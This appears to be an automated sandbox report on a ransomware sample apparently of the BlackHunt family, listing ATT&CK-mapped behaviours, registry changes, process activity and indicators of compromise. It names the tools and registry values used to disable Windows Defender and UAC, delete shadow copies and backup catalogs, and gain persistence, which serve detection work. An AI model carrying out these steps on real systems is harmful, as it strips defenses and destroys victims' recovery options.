f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b

Data Destruction

T1485

pid	Process
680	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5632	bcdedit.exe
5644	bcdedit.exe

Renames multiple (453) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5908	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\L:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\X:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\N:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\S:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\H:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\Z:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\E:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\R:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\Y:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\U:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\G:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\J:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\O:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\W:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\I:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\K:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\T:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\A:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\V:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\B:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\M:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_TW.properties	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\webkit.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_es.properties	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\javafx.properties	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\local_policy.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jre-1.8\lib\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\splash_11-lic.gif	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\calendars.properties	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\access-bridge-64.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sw.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\asm.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\management\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11cryptotoken.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCalls.c	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\management\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management-agent.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\gstreamer.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyDrop32x32.gif	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\meta-index	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eo.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\he.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\COPYRIGHT	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyDrop32x32.gif	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfontj2d.properties	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\icu.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\javaws.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\javafx-mx.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\[email protected]	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\dom.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xalan.md	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\hijrah-config-umalqura.properties	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
544	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5524	vssadmin.exe
5628	vssadmin.exe
5516	vssadmin.exe
1476	vssadmin.exe
2428	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeRestorePrivilege	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeBackupPrivilege	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeTakeOwnershipPrivilege	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeAuditPrivilege	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeSecurityPrivilege	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeIncBasePriorityPrivilege	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeBackupPrivilege	1752	vssvc.exe
Token: SeRestorePrivilege	1752	vssvc.exe
Token: SeAuditPrivilege	1752	vssvc.exe
Token: SeBackupPrivilege	2160	wbengine.exe
Token: SeRestorePrivilege	2160	wbengine.exe
Token: SeSecurityPrivilege	2160	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 3940	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	90
PID 2220 wrote to memory of 3940	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	90
PID 2220 wrote to memory of 3772	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	92
PID 2220 wrote to memory of 3772	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	92
PID 2220 wrote to memory of 4192	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	94
PID 2220 wrote to memory of 4192	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	94
PID 2220 wrote to memory of 2892	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	95
PID 2220 wrote to memory of 2892	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	95
PID 2220 wrote to memory of 4128	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	98
PID 2220 wrote to memory of 4128	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	98
PID 2220 wrote to memory of 3808	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	99
PID 2220 wrote to memory of 3808	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	99
PID 2220 wrote to memory of 2788	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	107
PID 2220 wrote to memory of 2788	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	107
PID 2220 wrote to memory of 3336	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	106
PID 2220 wrote to memory of 3336	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	106
PID 2220 wrote to memory of 2976	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	102
PID 2220 wrote to memory of 2976	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	102
PID 2220 wrote to memory of 1564	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	108
PID 2220 wrote to memory of 1564	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	108
PID 2220 wrote to memory of 2908	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	110
PID 2220 wrote to memory of 2908	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	110
PID 2220 wrote to memory of 852	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	112
PID 2220 wrote to memory of 852	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	112
PID 2220 wrote to memory of 3680	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	114
PID 2220 wrote to memory of 3680	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	114
PID 3940 wrote to memory of 1236	3940	cmd.exe	187
PID 3940 wrote to memory of 1236	3940	cmd.exe	187
PID 2220 wrote to memory of 2548	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	126
PID 2220 wrote to memory of 2548	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	126
PID 2220 wrote to memory of 1544	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	125
PID 2220 wrote to memory of 1544	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	125
PID 2220 wrote to memory of 5032	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	117
PID 2220 wrote to memory of 5032	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	117
PID 2220 wrote to memory of 4600	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	118
PID 2220 wrote to memory of 4600	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	118
PID 2220 wrote to memory of 2584	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	120
PID 2220 wrote to memory of 2584	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	120
PID 2220 wrote to memory of 4436	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	130
PID 2220 wrote to memory of 4436	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	130
PID 2220 wrote to memory of 2504	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	128
PID 2220 wrote to memory of 2504	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	128
PID 2220 wrote to memory of 2152	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	129
PID 2220 wrote to memory of 2152	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	129
PID 2220 wrote to memory of 556	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	132
PID 2220 wrote to memory of 556	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	132
PID 2220 wrote to memory of 4924	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	134
PID 2220 wrote to memory of 4924	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	134
PID 2220 wrote to memory of 3376	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	139
PID 2220 wrote to memory of 3376	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	139
PID 2220 wrote to memory of 2652	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	140
PID 2220 wrote to memory of 2652	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	140
PID 3772 wrote to memory of 1180	3772	cmd.exe	141
PID 3772 wrote to memory of 1180	3772	cmd.exe	141
PID 2220 wrote to memory of 1192	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	143
PID 2220 wrote to memory of 1192	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	143
PID 2220 wrote to memory of 4848	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	199
PID 2220 wrote to memory of 4848	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	199
PID 4128 wrote to memory of 1916	4128	cmd.exe	142
PID 4128 wrote to memory of 1916	4128	cmd.exe	142
PID 4192 wrote to memory of 1404	4192	cmd.exe	147
PID 4192 wrote to memory of 1404	4192	cmd.exe	147
PID 2220 wrote to memory of 4368	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	154
PID 2220 wrote to memory of 4368	2220	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	154

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
"C:\Users\Admin\AppData\Local\Temp\f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2220
- C:\Windows\System32\cmd.exe
